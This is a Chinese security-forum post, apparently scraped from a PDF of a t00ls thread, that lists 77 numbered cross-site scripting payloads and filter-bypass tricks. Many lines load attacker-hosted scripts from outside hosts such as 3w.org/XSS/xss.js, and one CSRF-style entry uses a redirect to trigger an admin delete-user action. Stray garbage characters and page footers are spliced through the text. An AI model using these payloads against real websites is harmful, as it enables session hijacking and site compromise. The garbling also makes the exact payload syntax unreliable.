貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
1 y3 E! L0 P) I(1)普通的XSS JavaScript注入
' q) Z& w( s2 }9 h7 x<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 N: `0 `# J7 W" n& b1 {2 [
(2)IMG标签XSS使用JavaScript命令' Z: x) w [$ o/ ?* ?
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
! U7 D* C+ z) W$ b' ?8 F8 W+ @$ `(3)IMG标签无分号无引号 H8 w( ?8 C9 k7 }' t; m- z$ Q) b
<IMG SRC=javascript:alert(‘XSS’)>3 K; x n6 K& i! T6 m6 e& C) b7 J
(4)IMG标签大小写不敏感, c: d6 _& z2 p' g8 M3 u
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>5 r4 k" x( \# @
(5)HTML编码(必须有分号)
5 \4 V+ L( ]( h' S<IMG SRC=javascript:alert(“XSS”)>
5 h7 L' K: R: ?* D" z(6)修正缺陷IMG标签3 Q8 t, y0 {4 z- P; X& t( j
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>. t$ b$ E! i5 D: R& q2 L/ d( X
3 }# y9 j5 Z s2 u7 I3 A$ Y4 \ T' \8 S5 X* v! W% v$ C
(7)formCharCode标签(计算器)1 c! Y# i w& C) _5 n# {
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8 x% e3 L4 _) P6 Q& c
(8)UTF-8的Unicode编码(计算器)
3 V6 V. ]% C8 d m9 P7 e- ]' ~<IMG SRC=jav..省略..S')> t8 N, A" Q& ^* {
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
* K9 ]0 I8 I4 q) P<IMG SRC=jav..省略..S')>: p- M# Q A7 ]9 o
(10)十六进制编码也是没有分号(计算器)
! o3 u5 J% U7 h. S' Q& A<IMG SRC=java..省略..XSS')>2 r* w0 y, }9 Q1 X% L$ B$ W5 ]; g
(11)嵌入式标签,将Javascript分开
3 I! z, @; w7 U3 |# D! h<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 f6 G- @/ \* A! I! f(12)嵌入式编码标签,将Javascript分开 ]0 Y* ]! I3 ]+ i% I% s/ ~
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ w8 k6 r0 p7 l0 q V5 W4 r
(13)嵌入式换行符; D' a' G' L7 |# G2 i
<IMG SRC=”jav ascript:alert(‘XSS’);”>
: A% W0 E4 A6 J(14)嵌入式回车! A, x% _- W: o# i
<IMG SRC=”jav ascript:alert(‘XSS’);”>5 g/ G3 d9 a/ U1 J- g3 w1 m
(15)嵌入式多行注入JavaScript,这是XSS极端的例子+ s* T0 Q0 J, z e/ ^( D
<IMG SRC=”javascript:alert(‘XSS‘)”>
2 P7 O* w( i# v- Q9 y(16)解决限制字符(要求同页面)
2 a P8 d+ m* x) Z<script>z=’document.’</script>
K, E2 ` c$ \7 }" X$ ^<script>z=z+’write(“‘</script>
0 X5 F" E8 Z7 Z- H0 p1 \<script>z=z+’<script’</script>, R! V4 i" _& c2 e2 M G, u* b8 Y% n9 f
<script>z=z+’ src=ht’</script>
% m! \* @- j5 @2 @<script>z=z+’tp://ww’</script>
$ ]9 }6 G9 A( F$ y<script>z=z+’w.shell’</script>
5 M5 V. P& d# k& P( |" S; @<script>z=z+’.net/1.’</script>7 x; M* B# w9 ^& f- ~
<script>z=z+’js></sc’</script>& K. P* V; {+ P( k0 T
<script>z=z+’ript>”)’</script>4 C1 O7 l) U7 ~& e' o
<script>eval_r(z)</script>
" C. V& U4 R, p5 u(17)空字符12-7-1 T00LS - Powered by Discuz! Board9 P& [; I! \; S
https://www.t00ls.net/viewthread ... table&tid=15267 2/6
1 c+ `8 n0 r& f6 zperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
9 k5 C; A; m/ K$ C8 c. J(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用3 |! G. p& i5 m$ S0 Z8 w
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out- c+ [! J( a, @5 }, g- Q
(19)Spaces和meta前的IMG标签
* S4 [! o3 V' N* d+ Z) m& H3 O<IMG SRC=” javascript:alert(‘XSS’);”>& E( [9 e! Z" Y% ~9 P
(20)Non-alpha-non-digit XSS
. h2 o9 C0 ~+ A2 u. k+ ~<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
4 L7 H- C5 D4 N: }(21)Non-alpha-non-digit XSS to 2
& x) }1 v& Y9 A% P( H# b1 O<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
( D2 m2 b' W3 b2 B) ~(22)Non-alpha-non-digit XSS to 3+ |3 I/ d. l( E2 G
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
- q! c- X2 H, S& n3 J& b(23)双开括号
) p- W( O9 a" F" m; A9 ^5 P<<SCRIPT>alert(“XSS”);//<</SCRIPT>8 X8 Y- }& Y5 R. W
(24)无结束脚本标记(仅火狐等浏览器)
& ^: ^) u8 z- F! u/ F<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
K: L" D& o! p, f7 x- X/ r(25)无结束脚本标记2
4 L1 \/ \" q. s7 G3 |+ G<SCRIPT SRC=//3w.org/XSS/xss.js>
8 L3 C- \6 R3 d, |' c0 g L" b(26)半开的HTML/JavaScript XSS- ?6 o4 h+ ~; |6 \3 U0 Z5 J: Y/ Q! i
<IMG SRC=”javascript:alert(‘XSS’)”' \5 Z1 `1 _% ]9 R- {
(27)双开角括号! e2 }8 A5 {1 g9 y8 E) v/ g# x7 }- t
<iframe src=http://3w.org/XSS.html <% E1 G% X9 R+ L9 o: a! H
(28)无单引号 双引号 分号# u/ r- i. ]7 o
<SCRIPT>a=/XSS/, y6 n; F1 |* H1 L: Z" a
alert(a.source)</SCRIPT>
$ u9 ^; i" `0 K1 r( J(29)换码过滤的JavaScript
9 e6 ^$ u. L1 [9 y\”;alert(‘XSS’);//' k! F+ V' D9 ]# }6 ~) l* v" ~
(30)结束Title标签4 v8 X/ `( A% l) A
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8 C: e( ~" X8 Z. G3 U, O! u6 \(31)Input Image0 a$ [; h. y% Z8 [. c( h+ F8 T
<INPUT SRC=”javascript:alert(‘XSS’);”>
( J, H2 C8 S3 r- q2 u& l(32)BODY Image; ]1 o4 D5 T. H
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
' Q7 x: U. R# F% g" K Q: m(33)BODY标签5 Q B8 H1 ?' B, o/ r: S
<BODY(‘XSS’)>
4 F4 }1 ^7 w- H9 _(34)IMG Dynsrc7 K( N7 ]3 g) x R" u
<IMG DYNSRC=”javascript:alert(‘XSS’)”>4 {3 l0 j/ b( I
(35)IMG Lowsrc* } h: C5 p0 f0 S2 n
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
" y. D7 R+ k& l! m x(36)BGSOUND2 J7 N& d) Y) p: {. q4 r8 ~
<BGSOUND SRC=”javascript:alert(‘XSS’);”>. X+ _' Y [6 k& C1 ~- F" u( i. U8 \
(37)STYLE sheet* S9 O$ _1 I, p! c! e5 A1 G" m
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>& H z! x' u& e; C# e8 H
(38)远程样式表3 k! z/ T7 F9 z \" H: P j
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>3 K/ a- U. u% G/ B
(39)List-style-image(列表式)
d9 X3 t1 z' U<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
0 n# X) }% J' q- X6 a( |) q5 r(40)IMG VBscript
* _8 Y9 p; S; @) t" J' v<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS& Z( ]' Y' J' a6 v! h5 @0 B! O2 G
(41)META链接url
f3 [- P9 ?" L* x8 s) T0 d ^3 L2 g& {/ {6 H! w3 [% [! D
# z7 g" n( J, C5 O<META HTTP-EQUIV=”refresh” CONTENT=”0;
) L0 s/ K! Y* b# w1 wURL=http://;URL=javascript:alert(‘XSS’);”>! j# @! e$ k/ M
(42)Iframe0 h+ F; h* \" Z
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
5 a% V4 \/ |" a7 z) M3 i(43)Frame$ e. s& \/ }8 Y
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board# a9 I, S4 G+ v
https://www.t00ls.net/viewthread ... table&tid=15267 3/6+ _6 }5 ]+ ]1 B# W$ [) T
(44)Table" ~: b7 v9 }4 a3 K7 W/ G
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
* {( N! m$ K* F6 v; p(45)TD
) T- c/ {$ Y6 D6 b# d* G' v% S& X0 L<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>4 p( D. S& \$ m N
(46)DIV background-image6 M |. A% [7 V* N. ^' t8 Z
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>/ i% w) J" i9 m4 g3 Z8 L
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-# R; k6 K9 w" Z0 X+ f
8&13&12288&65279)6 u, s) ]' o1 F" r3 i& ]! N3 t) U
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>1 U p5 |0 q8 c6 G/ }8 \: ?
(48)DIV expression, L4 a; D2 a" f; e( b% T( a1 @6 ^8 u
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>; C, E4 G4 ^" G% H
(49)STYLE属性分拆表达
( s/ F- J! Y2 e b x: D" l2 ]<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>3 j/ x. e: |! X6 W
(50)匿名STYLE(组成:开角号和一个字母开头)' p9 W! b+ x5 y: ^7 W
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
) {( ?9 h1 _, z3 a/ b+ p: R(51)STYLE background-image/ N/ X9 A( y& d2 n. q
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A" |4 V# J% ]' x1 }6 b# W- n; G
CLASS=XSS></A>
. g9 O, s! W; `(52)IMG STYLE方式1 k L7 g: R" |1 _9 r3 i
exppression(alert(“XSS”))’>
) Y) \* e2 }5 y# ]. \(53)STYLE background: K3 z i b/ G6 ~3 E; X0 ^6 C
<STYLE><STYLE7 _1 u7 g, y" t' Q) q8 ?
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
]8 B$ E8 U9 D(54)BASE
( `4 U* E3 q# c. \0 z( N- s<BASE HREF=”javascript:alert(‘XSS’);//”>4 |; T! F0 n" v- ~) A6 V' z
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS2 x1 s0 O! i& w+ A
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>5 X4 `* E9 g( D7 e
(56)在flash中使用ActionScrpt可以混进你XSS的代码2 R* |* r) B+ {& D/ i$ i! v
a=”get”;. V! r0 L+ k8 f' ?
b=”URL(\”";
5 q5 o/ V; d9 B8 o0 D# Ic=”javascript:”;
9 I% `; j7 r/ q) @d=”alert(‘XSS’);\”)”;2 x; Z7 X, o- ]( D1 }. ~
eval_r(a+b+c+d);
3 H* D# L! T, E# b) W& M- n(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上5 a, q' G: J) |
<HTML xmlns:xss>
" Z" t+ L( C% u( T3 ]: }, {<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
! v, @1 V% v. ?: N, N2 T<xss:xss>XSS</xss:xss>$ q6 u6 f( `: s8 } y" ~6 I% ~: [9 b
</HTML>+ Z% N9 z* ^3 N
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
5 K# g( g) `/ U, z! E1 X<SCRIPT SRC=””></SCRIPT>
9 e" ]9 M- A. @9 F6 e8 K! S8 Z(59)IMG嵌入式命令,可执行任意命令
9 i: W+ Q. \! n, b& z2 l( O' i<IMG SRC=”http://www.XXX.com/a.php?a=b”>4 {% [! X# l0 k V: W* A
(60)IMG嵌入式命令(a.jpg在同服务器)
5 C" [! ]" I, g% a0 VRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
- y. Q! Q3 c* A$ x5 i# Q(61)绕符号过滤# c/ y3 L; Y J3 o
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>9 m, c8 W' u2 s/ s3 Z/ y7 w7 N
(62)
- ^5 g9 L# E! A' F% [* Z<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
7 F+ L: o) f7 B s" _# A(63)$ @6 _9 p+ C: N& n) [" N# y4 `
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
7 u8 o( D' b7 g(64)' `0 q" x; D$ @7 F: D
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>+ l9 S A0 ?0 g. |
(65)' L- F2 ^3 G; I. i" J0 O2 y5 I# v1 o
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>! L4 m0 ?: M% E5 F8 `% P" G# X) w
(66)12-7-1 T00LS - Powered by Discuz! Board8 \5 I+ \: z' o* c4 b3 E
https://www.t00ls.net/viewthread ... table&tid=15267 4/6' G( H: e, N. m7 r( H& x
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
9 V. E+ Q3 N! U6 u6 W0 I# n(67)6 E% `. {' p# n; N4 V- R
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>9 ?- a4 A+ J# U) Y) Y; V, R2 t! h
</SCRIPT>
& b4 x& r- ^0 y. N(68)URL绕行! y9 U% j1 A0 J2 [: ^, \
<A HREF=”http://127.0.0.1/”>XSS</A>
5 w4 p5 C: i2 P1 c c0 f# c(69)URL编码
+ Z, o$ `3 Y7 H) G: Y. `: C<A HREF=”http://3w.org”>XSS</A>
c$ k g2 O% [ Q( x(70)IP十进制
: \) P: Q k: H N: j; u<A HREF=”http://3232235521″>XSS</A>4 K5 z# m, g8 \2 c; Q% X" t
(71)IP十六进制
; [2 H7 A% j9 [. Z- Y<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
7 X' ]5 C5 b' C" r6 |" g0 a& i; t: D(72)IP八进制
# l2 d- J7 U6 Q- a- c<A HREF=”http://0300.0250.0000.0001″>XSS</A>
' I4 f' L- e9 ](73)混合编码
: }7 E7 R) m3 ^5 W<A HREF=”h
7 ^' c& {# T2 r, q% K* j: I% utt p://6 6.000146.0×7.147/”">XSS</A>) w9 `+ M+ K* r# P6 c( A
(74)节省[http:]5 y& q' i) L- q. J. X. w2 n
<A HREF=”//www.google.com/”>XSS</A>
2 ^/ C; m' o; v2 [7 v9 a(75)节省[www]/ z, L$ m" Q# r0 j" P7 ]( b" V1 i
<A HREF=”http://google.com/”>XSS</A>
2 \3 l. I# l i, P0 q(76)绝对点绝对DNS
5 D0 `. c' ]% _; j<A HREF=”http://www.google.com./”>XSS</A>
, z. E8 R, x; c8 U. ^(77)javascript链接, G& _' @7 R. D( Q, q
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
+ r2 w5 b8 n" D" J7 @% b+ X) }; e1 x; [4 S
原文地址:http://fuzzexp.org/u/0day/?p=14
4 f. T( X- p9 I) U6 E+ G
% {6 r S' q( ? |